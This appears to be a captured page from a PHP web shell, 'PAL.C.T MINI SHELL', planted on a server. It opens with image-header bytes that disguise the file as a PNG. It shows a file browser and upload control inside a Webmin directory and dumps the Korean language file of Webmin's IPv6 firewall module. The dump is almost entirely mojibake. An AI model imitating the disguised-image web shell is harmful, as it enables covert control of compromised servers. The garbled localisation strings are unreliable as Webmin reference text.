‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/firewall6/lang/
upload
files >> //usr/libexec/webmin/firewall6/lang/ko.auto

index_title=리눅스 IPTables 방화벽
index_title_v=IPv4 방화벽
index_title_v6=IPv6 방화벽
index_editing=규칙 íŒŒì¼ $1 
index_ecommand=시스템ì—ì„œ $1 ëª…ë ¹ì„ ì°¾ì„ ìˆ˜ 없습니다. Webminì€ IPtables를 구성하기 ìœ„í•´ì´ ëª…ë ¹ì´ í•„ìš”í•©ë‹ˆë‹¤.
index_ekernel=현재 IPtables êµ¬ì„±ì„ í™•ì¸í•  ë•Œ 오류가 ë°œìƒí–ˆìŠµë‹ˆë‹¤ : $1 ì´ê²ƒì€ 커ë„ì´ IPtables를 지ì›í•˜ì§€ ì•ŠìŒì„ 나타냅니다.
index_header=$1 ì˜ ë°©í™”ë²½ 구성
index_evalid=경고! 현재 IPtables êµ¬ì„±ì´ ìž˜ëª»ë˜ì—ˆìŠµë‹ˆë‹¤  : $1 
index_change=IPtable 표시 :
index_chain_input=수신 패킷 (INPUT)-ì´ í˜¸ìŠ¤íŠ¸ë¡œ 주소 ì§€ì •ëœ íŒ¨í‚·ì—만 ì ìš©
index_chain_output=발신 패킷 (OUTPUT)-ì´ í˜¸ìŠ¤íŠ¸ì—ì„œ 발신 í•œ 패킷ì—만 ì ìš©
index_chain_forward=전달 ëœ íŒ¨í‚· (FORWARD)-ì´ í˜¸ìŠ¤íŠ¸ë¥¼ 통과 í•œ 패킷ì—만 ì ìš©
index_chain_prerouting=ë¼ìš°íŒ… ì „ 패킷 (PREROUTING)
index_chain_postrouting=ë¼ìš°íŒ… 후 패킷 (POSTROUTING)
index_chain=ì²´ì¸ $1 
index_action=ë™ìž‘
index_desc=ì¡°ê±´
index_comm=ë…¼í‰
index_no_comment=
index_move=움ì§ìž„
index_none=ì´ ì²´ì¸ì— 대해 ì •ì˜ ëœ ê·œì¹™ì´ ì—†ìŠµë‹ˆë‹¤.
index_policy=기본 조치를 다ìŒìœ¼ë¡œ 설정하십시오.
index_policy_accept=ë™ì˜í•˜ê¸°
index_policy_drop=하ë½
index_policy_queue=ì‚¬ìš©ìž ê³µê°„
index_policy_return=출구 ì²´ì¸
index_jump_accept=<font color=#00aa00>승ì¸</font>
index_jump_drop=<font color=#ff0000>삭제</font>
index_jump_reject=<font color=#ff4400>거부</font>
index_jump_queue=<font color=#0000ff>ì‚¬ìš©ìž ê³µê°„</font>
index_jump_return=출구 ì²´ì¸
index_jump_log=로그 패킷
index_jump_masquerade=가장 무ë„회
index_jump_redirect=리디렉션
index_jump_dnat=ëŒ€ìƒ NAT
index_jump_snat=소스 NAT
index_jump_=아무것ë„하지 마세요
index_jump=ì²´ì¸ $1 (으)ë¡œ ì´ë™
index_radd=규칙 추가
index_cdelete=ì²´ì¸ ì‚­ì œ
index_crename=ì²´ì¸ ì´ë¦„ 바꾸기
index_cclear=모든 규칙 지우기
index_cdeletesel=ì„ íƒëœ ê²ƒì„ ì§€ì›Œ ë¼
index_cmovesel=ì„ íƒëœ ì´ë™
index_cadd=다ìŒê³¼ ê°™ì€ ì´ë¦„ì˜ ìƒˆ ì²´ì¸ì„ 추가하십시오.
index_apply=구성 ì ìš©
index_applydesc=ìœ„ì— ë‚˜ì—´ëœ ë°©í™”ë²½ êµ¬ì„±ì„ í™œì„±í™”í•˜ë ¤ë©´ì´ ë²„íŠ¼ì„ í´ë¦­í•˜ì‹­ì‹œì˜¤. 현재 ì ìš©ì¤‘ì¸ ë°©í™”ë²½ ê·œì¹™ì€ ëª¨ë‘ ì‚­ì œë˜ê³  êµì²´ë©ë‹ˆë‹¤
index_applydesc2=ìœ„ì— ë‚˜ì—´ëœ ë°©í™”ë²½ êµ¬ì„±ì„ í´ëŸ¬ìŠ¤í„°ì˜ 모든 서버ì—ì„œ í™œì„±í™”í•˜ë ¤ë©´ì´ ë²„íŠ¼ì„ í´ë¦­í•˜ì‹­ì‹œì˜¤. 현재 ì ìš©ì¤‘ì¸ ë°©í™”ë²½ ê·œì¹™ì€ ëª¨ë‘ ì‚­ì œë˜ê³  êµì²´ë©ë‹ˆë‹¤
index_unapply=구성 ë˜ëŒë¦¬ê¸°
index_unapplydesc=ìœ„ì— ë‚˜ì—´ëœ êµ¬ì„±ì„ í˜„ìž¬ 활성화 ëœ êµ¬ì„±ìœ¼ë¡œ ìž¬ì„¤ì •í•˜ë ¤ë©´ì´ ë²„íŠ¼ì„ í´ë¦­í•˜ì‹­ì‹œì˜¤.
index_unapply2=구성 저장
index_unapply2desc=ì´ ë²„íŠ¼ì„ í´ë¦­í•˜ì—¬ ìœ„ì˜ êµ¬ì„±ì„ ì˜êµ¬ 방화벽 구성 파ì¼ì— 저장하십시오.
index_table_filter=패킷 í•„í„°ë§ (í•„í„°)
index_table_nat=ë„¤íŠ¸ì›Œí¬ ì£¼ì†Œ 변환 (nat)
index_table_mangle=패킷 변경 (엉킴)
index_existing=Webminì´ í˜„ìž¬ ì‚¬ìš©ì¤‘ì¸ $1 ê°œì˜ IPtables 방화벽 ê·œì¹™ì„ ê°ì§€í–ˆìœ¼ë©° 저장 íŒŒì¼ $2 ì— ê¸°ë¡ë˜ì§€ 않았습니다. ì´ ê·œì¹™ì€ ìŠ¤í¬ë¦½íŠ¸ë¥¼ 사용하여 설정 í•œ ê²ƒì¼ ìˆ˜ 있습니다.ì´ ëª¨ë“ˆì€ ì½ê³  편집하는 ë°©ë²•ì„ ëª¨ë¦…ë‹ˆë‹¤. <p>ì´ ëª¨ë“ˆì„ ì‚¬ìš©í•˜ì—¬ IPtables ë°©í™”ë²½ì„ ê´€ë¦¬í•˜ë ¤ë©´ 아래 ë²„íŠ¼ì„ í´ë¦­í•˜ì—¬ 기존 ê·œì¹™ì„ ì €ìž¥ 파ì¼ë¡œ 변환하십시오. 기존 방화벽 스í¬ë¦½íŠ¸ë¥¼ 비활성화하십시오.
index_saveex=방화벽 규칙 저장
index_atboot=부팅시 ë°©í™”ë²½ì„ í™œì„±í™” 하시겠습니까?
index_headerex=기존 방화벽 구성
index_bootup=부팅시 활성화
index_bootupdesc=부팅시 ë°©í™”ë²½ì˜ í™œì„±í™” 여부를 ì œì–´í•˜ë ¤ë©´ì´ ì˜µì…˜ì„ ë³€ê²½í•˜ì‹­ì‹œì˜¤.
index_return=규칙 목ë¡
index_setup=ì‹œìŠ¤í…œì— ì•„ì§ IPtables ë°©í™”ë²½ì´ ì„¤ì •ë˜ì–´ 있지 않습니다. Webminì€ ì•„ëž˜ì˜ ë°©í™”ë²½ 유형 ì„ íƒì— ë”°ë¼ ì´ˆê¸° 설정으로 저장 íŒŒì¼ $1 ì— ì €ìž¥ë˜ë„ë¡ ì„¤ì •í•  수 있습니다.
index_rsetup=ì‹œìŠ¤í…œì˜ IPtables 방화벽 êµ¬ì„±ì´ ìž¬ì„¤ì •ë©ë‹ˆë‹¤. Webminì€ ì•„ëž˜ì˜ ë°©í™”ë²½ 유형 ì„ íƒì— ë”°ë¼ ì´ˆê¸° 설정으로 저장 íŒŒì¼ $1 ì— ì €ìž¥ ë  ìƒˆë¡œìš´ 기본 ê·œì¹™ì„ ì„¤ì •í•©ë‹ˆë‹¤.
index_auto0=모든 트래픽 허용
index_auto1=외부 ì¸í„°íŽ˜ì´ìŠ¤ì—ì„œ ë„¤íŠ¸ì›Œí¬ ì£¼ì†Œ ë³€í™˜ì„ ìˆ˜í–‰í•˜ì‹­ì‹œì˜¤.
index_auto2=외부 ì¸í„°íŽ˜ì´ìŠ¤ì—ì„œ 들어오는 모든 ì—°ê²°ì„ ì°¨ë‹¨í•˜ì‹­ì‹œì˜¤.
index_auto3=외부 ì¸í„°íŽ˜ì´ìŠ¤ì—ì„œ SSH ë° IDENT를 제외한 모든 ê²ƒì„ ì°¨ë‹¨í•˜ì‹­ì‹œì˜¤.
index_auto4=ì¸í„°íŽ˜ì´ìŠ¤ì—ì„œ SSH, IDENT, í•‘ ë° ìƒìœ„ í¬íŠ¸ë¥¼ 제외한 모든 í¬íŠ¸ë¥¼ 차단하십시오.
index_auto5=ì¸í„°íŽ˜ì´ìŠ¤ì—ì„œ ê°€ìƒ í˜¸ìŠ¤íŒ…ì— ì‚¬ìš©ë˜ëŠ” í¬íŠ¸ë¥¼ 제외한 모든 í¬íŠ¸ë¥¼ 차단하십시오.
index_auto=방화벽 설정
index_add=ë”하다
index_shorewall=Shorewallì´ ì‹œìŠ¤í…œì˜ ë°©í™”ë²½ì„ ìƒì„±í•˜ëŠ” ë° ì‚¬ìš©ë˜ê³ ìžˆëŠ” 것 같습니다. 대신 <a href='$1'>Shoreline Firewall 모듈</a>ì„ ì‚¬ìš©í•´ì•¼í•©ë‹ˆë‹¤.
index_firewalld=FirewallDê°€ ì‹œìŠ¤í…œì˜ ë°©í™”ë²½ì„ ìƒì„±í•˜ëŠ” ë° ì‚¬ìš©ë˜ê³ ìžˆëŠ” 것 같습니다. 대신 <a href='$1'>FirewallD 모듈</a>ì„ ì‚¬ìš©í•´ì•¼í•©ë‹ˆë‹¤.
index_fail2ban=Fail2Banì´ ì¼ë¶€ 방화벽 ê·œì¹™ì„ ê´€ë¦¬í•˜ëŠ” ë° ì‚¬ìš©ë˜ê³ ìžˆëŠ” 것 같습니다. <a href='$1'>Fail2Ban 모듈</a>ë¡œ 수정하고 <a href=$2>f2b-. *</a> ë˜ëŠ” <a href=$2>fail2ban-. *</a>ë¡œ í•„í„°ë§í•´ì•¼í•©ë‹ˆë‹¤ ..
index_filter_chain=방화벽으로 관리ë˜ì§€ 않습니다.
index_filter_nodirect=외부 관리 ê·œì¹™ì´ ê°ì§€ë˜ì—ˆìŠµë‹ˆë‹¤. "<a href=$1>방화벽 규칙 ì§ì ‘ 편집"</a>ì„ í™œì„±í™”í•˜ë©´ 방화벽 ê·œì¹™ì´ ê¹¨ì§ˆ 수 있습니다.
index_reset=방화벽 재설정
index_resetdesc=ê¸°ì¡´ì˜ ëª¨ë“  방화벽 ê·œì¹™ì„ ì§€ìš°ê³  기본 초기 êµ¬ì„±ì— ëŒ€í•œ 새 ê·œì¹™ì„ ì„¤ì •í•˜ë ¤ë©´ì´ ë²„íŠ¼ì„ í´ë¦­í•˜ì‹­ì‹œì˜¤.
index_cluster=í´ëŸ¬ìŠ¤í„° 서버
index_clusterdesc=방화벽 êµ¬ì„±ì´ ìžë™ìœ¼ë¡œ 복사 ë  ì¶”ê°€ Webmin 서버를 ì„¤ì •í•˜ë ¤ë©´ì´ ë‹¨ì¶”ë¥¼ í´ë¦­í•˜ì‹­ì‹œì˜¤.
index_ipset=IP 세트
index_ipset_title=방화벽 규칙ì—ì„œ 사용할 수있는 활성 IP 세트
index_ipset_name=IP 세트 ì´ë¦„
index_ipset_type=유형
index_ipset_elem=# 요소
index_ipset_maxe=# 최대
index_ipset_size=í¬ê¸°
index_ipvxmode=IP 프로토콜 버전 변경 :
index_ipvx4=IPv4
index_ipvx6=IPv6

desc_p=í”„ë¡œí† ì½œì€ $1 입니다
desc_p!=í”„ë¡œí† ì½œì´ $1 ì´ ì•„ë‹™ë‹ˆë‹¤
desc_s=소스는 $1 입니다
desc_s!=소스가 $1 ì´ ì•„ë‹™ë‹ˆë‹¤
desc_d=대ìƒì€ $1 입니다
desc_d!=대ìƒì´ $1 ì´ ì•„ë‹™ë‹ˆë‹¤
desc_i=ìž…ë ¥ ì¸í„°íŽ˜ì´ìŠ¤ëŠ” $1 입니다
desc_i!=ìž…ë ¥ ì¸í„°íŽ˜ì´ìŠ¤ê°€ $1 ì´ ì•„ë‹™ë‹ˆë‹¤
desc_o=출력 ì¸í„°íŽ˜ì´ìŠ¤ëŠ” $1 입니다
desc_o!=출력 ì¸í„°íŽ˜ì´ìŠ¤ê°€ $1 ì´ ì•„ë‹™ë‹ˆë‹¤
desc_f=íŒ¨í‚·ì€ ì¡°ê°ìž…니다
desc_f!=íŒ¨í‚·ì€ ì¡°ê°ì´ 아닙니다
desc_sport=소스 í¬íŠ¸ëŠ” $1 입니다
desc_sport!=소스 í¬íŠ¸ê°€ $1 ì´ ì•„ë‹™ë‹ˆë‹¤
desc_dport=ëŒ€ìƒ í¬íŠ¸ëŠ” $1 입니다
desc_dport!=ëŒ€ìƒ í¬íŠ¸ê°€ $1 ì´ ì•„ë‹™ë‹ˆë‹¤
desc_sports=소스 í¬íŠ¸ëŠ” $1 입니다
desc_sports!=소스 í¬íŠ¸ê°€ $1 ì´ ì•„ë‹™ë‹ˆë‹¤
desc_dports=ëŒ€ìƒ í¬íŠ¸ëŠ” $1 입니다
desc_dports!=ëŒ€ìƒ í¬íŠ¸ê°€ $1 ì´ ì•„ë‹™ë‹ˆë‹¤
desc_tcp-flags=TCP 플래그 $2 ($1)ì´ ì„¤ì •ë˜ì—ˆìŠµë‹ˆë‹¤.
desc_tcp-flags!=$1 ì˜ TCP 플래그 $2 ì´ (ê°€) 설정ë˜ì§€ 않았습니다
desc_tcp-option=íŒ¨í‚·ì´ TCP 옵션 $1 ì„ (를) 사용함
desc_tcp-option!=íŒ¨í‚·ì´ TCP 옵션 $1 ì„ (를) 사용하지 않습니다
desc_icmp-type=ICMP ìœ í˜•ì€ $1 입니다.
desc_icmp-type!=ICMP ìœ í˜•ì´ $1 ì´ ì•„ë‹™ë‹ˆë‹¤
desc_icmpv6-type=ICMP ìœ í˜•ì€ $1 입니다.
desc_icmpv6-type!=ICMP ìœ í˜•ì´ $1 ì´ ì•„ë‹™ë‹ˆë‹¤
desc_mac-source=ì´ë”ë„· 주소는 $1 입니다
desc_mac-source!=ì´ë”ë„· 주소가 $1 ì´ ì•„ë‹™ë‹ˆë‹¤
desc_limit=ë¹„ìœ¨ì´ $1 보다 작습니다
desc_limit!=ë¹„ìœ¨ì´ $1 보다 í½ë‹ˆë‹¤
desc_limit-burst=버스트 ì†ë„ê°€ $1 보다 작습니다
desc_limit-burst!=버스트 ì†ë„ê°€ $1 보다 í¼
desc_ports=소스 ë° ëŒ€ìƒ í¬íŠ¸ëŠ” $1 입니다.
desc_ports!=소스 ë° ëŒ€ìƒ í¬íŠ¸ê°€ $1 ì´ ì•„ë‹™ë‹ˆë‹¤
desc_uid-owner=발신ìžê°€ $1 사용ìžìž…니다.
desc_uid-owner!=발신ìžê°€ $1 사용ìžê°€ 아닙니다
desc_gid-owner=발신ìžê°€ 그룹 $1 입니다.
desc_gid-owner!=발신ìžê°€ $1 ê·¸ë£¹ì´ ì•„ë‹™ë‹ˆë‹¤
desc_pid-owner=발신ìžì˜ 프로세스 ID는 $1 입니다.
desc_pid-owner!=발신ìžì˜ 프로세스 IDê°€ $1 ì´ ì•„ë‹™ë‹ˆë‹¤
desc_sid-owner=발신ìžì˜ 세션 ê·¸ë£¹ì€ $1 입니다.
desc_sid-owner!=발신ìžì˜ 세션 ê·¸ë£¹ì´ $1 ì´ ì•„ë‹™ë‹ˆë‹¤
desc_state=ì—°ê²° ìƒíƒœëŠ” $1 입니다.
desc_state!=ì—°ê²° ìƒíƒœê°€ $1 ì´ ì•„ë‹™ë‹ˆë‹¤
desc_ctstate=ì—°ê²° ìƒíƒœëŠ” $1 입니다.
desc_ctstate!=ì—°ê²° ìƒíƒœê°€ $1 ì´ ì•„ë‹™ë‹ˆë‹¤
desc_tos=서비스 유형 필드는 $1 입니다.
desc_tos!=서비스 ìœ í˜•ì´ $1 ì´ ì•„ë‹™ë‹ˆë‹¤
desc_match-set=$2ì€(는) IPset $1ê³¼(와) ì¼ì¹˜í•©ë‹ˆë‹¤
desc_match-set!=$2ì€(는) IPset $1 ê³¼(와) ì¼ì¹˜í•˜ì§€ 않습니다
desc_match-set_src=들어오는 트래픽
desc_match-set_dst=나가는 트래픽
desc_physdev-in=ìž…ë ¥ ë¬¼ë¦¬ì  ì¸í„°íŽ˜ì´ìŠ¤ëŠ” $1 입니다.
desc_physdev-in!=ìž…ë ¥ ë¬¼ë¦¬ì  ì¸í„°íŽ˜ì´ìŠ¤ê°€ $1 ì´ ì•„ë‹™ë‹ˆë‹¤
desc_physdev-out=출력 ë¬¼ë¦¬ì  ì¸í„°íŽ˜ì´ìŠ¤ëŠ” $1 입니다.
desc_physdev-out!=출력 ë¬¼ë¦¬ì  ì¸í„°íŽ˜ì´ìŠ¤ê°€ $1 ì´ ì•„ë‹™ë‹ˆë‹¤
desc_conds=$1 ì¸ ê²½ìš°
desc_and=ê³¼
desc_always=í•­ìƒ
desc_args--match-set=IP 세트 $1 ì— $2 ì´ (ê°€) í¬í•¨ë˜ì–´ 있습니다
desc_src=출처
desc_dest=목ì ì§€

redhat_einstalled=IPtables 패키지가 ì‹œìŠ¤í…œì— ì„¤ì¹˜ë˜ì§€ 않았 ìŒì„ 나타내는 <tt>iptables (6)</tt> 부팅 ìž‘ì—…ì´ ì—†ìŠµë‹ˆë‹¤.
redhat_eoutput=명령 $1 ì—ì„œ IPtables ìƒíƒœë¥¼ 가져 오는 중 오류가 ë°œìƒí–ˆìŠµë‹ˆë‹¤. ì´ëŠ” ì‹œìŠ¤í…œì´ IPtable 대신 IPchainì„ ì‚¬ìš©í•˜ë„ë¡ êµ¬ì„±ë˜ì—ˆìŒì„ 나타냅니다.

gentoo_escript=시스템ì—ì„œ 젠투 IPtables 시작 스í¬ë¦½íŠ¸ $1 ì„ (를) ì°¾ì„ ìˆ˜ 없습니다.

eiptables=ì•Œ 수없는 IPtables 저장 íŒŒì¼ ì¤„  : $1 
eip6tables=ì•Œ 수없는 ip6tables íŒŒì¼ ì¤„ 저장  : $1 

edit_title1=규칙 추가
edit_title2=규칙 편집
edit_title3=복제 규칙
edit_header1=ì²´ì¸ ë° ë™ìž‘ 세부 사항
edit_chain=ì²´ì¸ì˜ ì¼ë¶€
edit_cmt=규칙 설명
edit_jump=취해야 할 조치
edit_jump_other=런 ì²´ì¸
edit_header2=조건 세부 사항
edit_desc=위ì—ì„œ ì„ íƒí•œ ìž‘ì—…ì€ ì•„ëž˜ ì¡°ê±´ì´ <b>모ë‘</b> ì¸ ê²½ìš°ì—만 수행ë©ë‹ˆë‹¤.
edit_source=소스 주소 ë˜ëŠ” 네트워í¬
edit_ignore=무시
edit_is=ê°™ìŒ
edit_not=같지 않다
edit_dest=목ì ì§€ 주소 ë˜ëŠ” 네트워í¬
edit_in=들어오는 ì¸í„°íŽ˜ì´ìŠ¤
edit_out=발신 ì¸í„°íŽ˜ì´ìŠ¤
edit_frag=분열
edit_fragis=ì¡°ê°ë‚œ
edit_fragnot=ì¡°ê°í™”ë˜ì§€ 않았습니다
edit_proto=ë„¤íŠ¸ì›Œí¬ í”„ë¡œí† ì½œ
edit_sport=소스 TCP ë˜ëŠ” UDP í¬íŠ¸
edit_dport=ëŒ€ìƒ TCP ë˜ëŠ” UDP í¬íŠ¸
edit_port0=í¬íŠ¸
edit_port1=í¬íŠ¸ 범위 $1 ~ $2 
edit_ports=소스 ë° ëŒ€ìƒ í¬íŠ¸
edit_tcpflags=TCP 플래그 세트
edit_flags=<br> $1 중 $2 
edit_tcpoption=TCP 옵션 번호가 설정ë˜ì—ˆìŠµë‹ˆë‹¤
edit_icmptype=ICMP 패킷 유형
edit_mac=ì´ë”ë„· 주소
edit_limit=패킷 유량
edit_below=ì´í•˜
edit_above=위
edit_limitburst=패킷 버스트 ì†ë„
edit_uidowner=유닉스 ì‚¬ìš©ìž ë³´ë‚´ê¸°
edit_gidowner=유닉스 그룹 보내기
edit_pidowner=발송 프로세스 ID
edit_sidowner=전송 프로세스 그룹
edit_state=ì—°ê²° ìƒíƒœ
edit_state_new=새로운 연결
edit_state_established=기존 연결
edit_state_related=기존 관련
edit_state_invalid=ì—°ê²°ì˜ ì¼ë¶€ê°€ 아님
edit_state_untracked=추ì ë˜ì§€ ì•ŠìŒ
edit_state_snat=소스 NATd
edit_state_dnat=ëŒ€ìƒ NAT
edit_tos=서비스 유형
edit_rtoports=리디렉션 ëŒ€ìƒ í¬íŠ¸
edit_prange=í¬íŠ¸ 범위 $1 ~ $2 
edit_mtoports=가장 무ë„회를위한 소스 í¬íŠ¸
edit_dnat=DNAT ìš© IP ë° í¬íŠ¸
edit_dnatip=IP 범위 $1 ~ $2 
edit_snat=SNATì˜ IP ë° í¬íŠ¸
edit_any=ì–´ë–¤
edit_oifc=다른 ..
edit_clone=복제 규칙
edit_before=규칙 $1 ì´ì „
edit_after=규칙 $1 ì´í›„
edit_args=추가 매개 변수
edit_mods=추가 IPtables 모듈
edit_rwith=ICMP 유형으로 거부
edit_rwithtype=$1 유형
edit_physdevin=들어오는 ë¬¼ë¦¬ì  ì¸í„°íŽ˜ì´ìŠ¤
edit_physdevout=발신 ë¬¼ë¦¬ì  ì¸í„°íŽ˜ì´ìŠ¤
edit_physdevisin=브리지 ì¸í„°íŽ˜ì´ìŠ¤ì—ì„œ 패킷 수신
edit_physdevisout=브리지 ì¸í„°íŽ˜ì´ìŠ¤ì—ì„œ 패킷 발신
edit_physdevisbridged=íŒ¨í‚·ì´ ë¸Œë¦¬ì§€ë˜ê³  있습니다
edit_matchset=ì¼ì¹˜í•˜ëŠ” IPset
edit_matchsetsrc=들어오는 트래픽ì—
edit_matchsetdst=나가는 트래픽ì—

save_err=ê·œì¹™ì„ ì €ìž¥í•˜ì§€ 못했습니다
save_echain=실행할 ì²´ì¸ì´ 없거나 유효하지 않습니다
save_esource=소스 주소 ë˜ëŠ” 네트워í¬ê°€ 없거나 유효하지 않습니다
save_edest=목ì ì§€ 주소 ë˜ëŠ” 네트워í¬ê°€ 없거나 잘못ë˜ì—ˆìŠµë‹ˆë‹¤
save_ein=수신 ì¸í„°íŽ˜ì´ìŠ¤ê°€ 없거나 유효하지 않습니다
save_eout=발신 ì¸í„°íŽ˜ì´ìŠ¤ê°€ 없거나 잘못ë˜ì—ˆìŠµë‹ˆë‹¤
save_eproto=ì„ íƒëœ í”„ë¡œí† ì½œì´ ì—†ìŠµë‹ˆë‹¤
save_esport=소스 í¬íŠ¸ê°€ 없거나 유효하지 않습니다
save_esportfrom=소스 í¬íŠ¸ì— 대한 유효하지 ì•Šì€ ë²”ìœ„ 시작
save_esportto=소스 í¬íŠ¸ì— 대한 유효하지 ì•Šì€ ë²”ìœ„ ë
save_esportrange=소스 í¬íŠ¸ ë²”ìœ„ì— ëŒ€í•´ 최소한 시작 ë˜ëŠ” ëì„ ìž…ë ¥í•´ì•¼í•©ë‹ˆë‹¤
save_etcpudp=í”„ë¡œí† ì½œì´ TCP, UDP ë˜ëŠ” SCTP ì¸ ê²½ìš°ì—만 소스 ë° ëŒ€ìƒ í¬íŠ¸ ì¡°ê±´ì„ ì‚¬ìš©í•  수 있습니다
save_edport=ëŒ€ìƒ í¬íŠ¸ê°€ 없거나 유효하지 않습니다
save_edportfrom=ëŒ€ìƒ í¬íŠ¸ì— 대한 유효하지 ì•Šì€ ë²”ìœ„ 시작
save_edportto=ëŒ€ìƒ í¬íŠ¸ì— 대한 유효하지 ì•Šì€ ë²”ìœ„ ë
save_edportrange=ëŒ€ìƒ í¬íŠ¸ ë²”ìœ„ì— ëŒ€í•´ 최소한 시작 ë˜ëŠ” ëì„ ìž…ë ¥í•´ì•¼í•©ë‹ˆë‹¤
save_eports=ì›ë³¸ ë° ëŒ€ìƒ í¬íŠ¸ê°€ 없거나 잘못ë˜ì—ˆìŠµë‹ˆë‹¤
save_etcp1=í”„ë¡œí† ì½œì´ TCP ì¸ ê²½ìš°ì—만 TCP 플래그 ì¡°ê±´ì„ ì‚¬ìš©í•  수 있습니다.
save_etcpflags=ê° í–‰ì—ì„œ 하나 ì´ìƒì˜ TCP 플래그를 ì„ íƒí•´ì•¼í•©ë‹ˆë‹¤
save_etcpflags2=ë‘ ë²ˆì§¸ í–‰ì—ì„œ 하나 ì´ìƒì˜ TCP 플래그를 ì„ íƒí•´ì•¼í•©ë‹ˆë‹¤
save_etcp2=í”„ë¡œí† ì½œì´ TCP ì¸ ê²½ìš°ì—만 TCP 옵션 번호 ì¡°ê±´ì„ ì‚¬ìš©í•  수 있습니다.
save_etcpoption=누ë½ë˜ê±°ë‚˜ ìž˜ëª»ëœ TCP 옵션 번호
save_eicmp=í”„ë¡œí† ì½œì´ ICMP ì¸ ê²½ìš°ì—만 ICMP 패킷 유형 ì¡°ê±´ì„ ì‚¬ìš©í•  수 있습니다.
save_emac=ì´ë”ë„· 주소가 없거나 유효하지 않습니다
save_elimit=누ë½ë˜ê±°ë‚˜ ìž˜ëª»ëœ íŒ¨í‚· í름 ì†ë„
save_elimitburst=누ë½ë˜ê±°ë‚˜ ìž˜ëª»ëœ íŒ¨í‚· 버스트 ì†ë„
save_euidowner=유닉스 사용ìžë¥¼ 보내지 못하거나 유효하지 ì•ŠìŒ
save_egidowner=유닉스 ê·¸ë£¹ì„ ë³´ë‚´ì§€ 못하거나 유효하지 ì•ŠìŒ
save_epidowner=전송 프로세스 ID가 없거나 유효하지 않습니다
save_esidowner=전송 프로세스 그룹 ID가 없거나 유효하지 않습니다.
save_ertoports=리디렉션 ëŒ€ìƒ í¬íŠ¸ê°€ 없거나 잘못ë˜ì—ˆìŠµë‹ˆë‹¤
save_emtoports=가장 무ë„회 소스 í¬íŠ¸ê°€ 없거나 유효하지 않습니다
save_edipfrom=DNATì˜ ì‹œìž‘ IP 주소가 없거나 유효하지 않습니다
save_edipto=DNATì— ëŒ€í•œ 유효하지 ì•Šì€ ì¢…ë£Œ IP 주소
save_edpfrom=DNATì˜ ìž˜ëª»ëœ ì‹œìž‘ í¬íŠ¸
save_edpto=DNATì˜ ê²°ë§ í¬íŠ¸ê°€ 없거나 잘못ë˜ì—ˆìŠµë‹ˆë‹¤
save_esipfrom=SNATì˜ ì‹œìž‘ IP 주소가 없거나 유효하지 않습니다
save_esipto=SNATì— ìœ íš¨í•˜ì§€ ì•Šì€ ì¢…ë£Œ IP 주소
save_espfrom=SNATì˜ ìœ íš¨í•˜ì§€ ì•Šì€ ì‹œìž‘ í¬íŠ¸
save_espto=SNATì˜ ê²°ë§ í¬íŠ¸ê°€ 없거나 유효하지 않습니다
save_estates=ì„ íƒëœ ì—°ê²° ìƒíƒœê°€ 없습니다
save_ecanjump=ì´ ìž‘ì—…ì„ ì‚¬ìš©í•  수 없습니다
save_ephysdevin=수신 ë¬¼ë¦¬ì  ì¸í„°íŽ˜ì´ìŠ¤ê°€ 없거나 유효하지 않습니다
save_ephysdevout=발신 ë¬¼ë¦¬ì  ì¸í„°íŽ˜ì´ìŠ¤ê°€ 없거나 유효하지 ì•ŠìŒ

delete_title=ì²´ì¸ ì‚­ì œ
delete_rusure=ì²´ì¸ $1 ì„ (를) ì‚­ì œ 하시겠습니까? ê·¸ ì•ˆì— $2 ê°œì˜ ê·œì¹™ì´ ì‚­ì œë©ë‹ˆë‹¤.
delete_ok=지금 삭제
delete_ecannot=ì²´ì¸ì„ 삭제할 수 없습니다

clear_title=í´ë¦¬ì–´ ì²´ì¸
clear_rusure=ì²´ì¸ $1 ì—ì„œ 모든 $2 ê·œì¹™ì„ ì‚­ì œ 하시겠습니까?
clear_ecannot=ì²´ì¸ì„ 비울 수 없습니다

new_err=ì²´ì¸ì„ 만들지 못했습니다
new_ename=ì²´ì¸ ì´ë¦„ì´ ì—†ê±°ë‚˜ 잘못ë˜ì—ˆìŠµë‹ˆë‹¤
new_etaken=ì´ ì´ë¦„ì˜ ì²´ì¸ì´ ì´ë¯¸ 존재합니다
new_ecannot=ì²´ì¸ì„ 만들 수 없습니다

apply_err=êµ¬ì„±ì„ ì ìš©í•˜ì§€ 못했습니다
apply_ecannot=êµ¬ì„±ì„ ì ìš© í•  수 없습니다
apply_remote=$1 ì˜ ì˜¤ë¥˜  : $2 
unapply_err=êµ¬ì„±ì„ ë˜ ëŒë¦¬ì§€ 못했습니다
unapply_ecannot=êµ¬ì„±ì„ ë˜ëŒë¦´ 수 없습니다
bootup_ecannot=부팅시 ë°©í™”ë²½ì„ í™œì„±í™” ë˜ëŠ” 비활성화 í•  수 없습니다

log_create_rule=í…Œì´ë¸” $2 ì˜ ì²´ì¸ $1 ì— ê·œì¹™ì„ ì¶”ê°€í–ˆìŠµë‹ˆë‹¤.
log_modify_rule=í…Œì´ë¸” $2 ì˜ ì²´ì¸ $1 ì—ì„œ 수정 ëœ ê·œì¹™
log_delete_rule=í…Œì´ë¸” $2 ì˜ ì²´ì¸ $1 ì—ì„œ ì‚­ì œ ëœ ê·œì¹™
log_move_rule=í…Œì´ë¸” $2 ì˜ ì²´ì¸ $1 ì—ì„œ ê·œì¹™ì„ ì´ë™í–ˆìŠµë‹ˆë‹¤.
log_delete_chain=í…Œì´ë¸” $2 ì—ì„œ ì²´ì¸ $1 ì„ (를) 삭제했습니다.
log_rename_chain=í…Œì´ë¸” $2 ì—ì„œ ì²´ì¸ $1 ì˜ ì´ë¦„ì´ ë³€ê²½ë˜ì—ˆìŠµë‹ˆë‹¤.
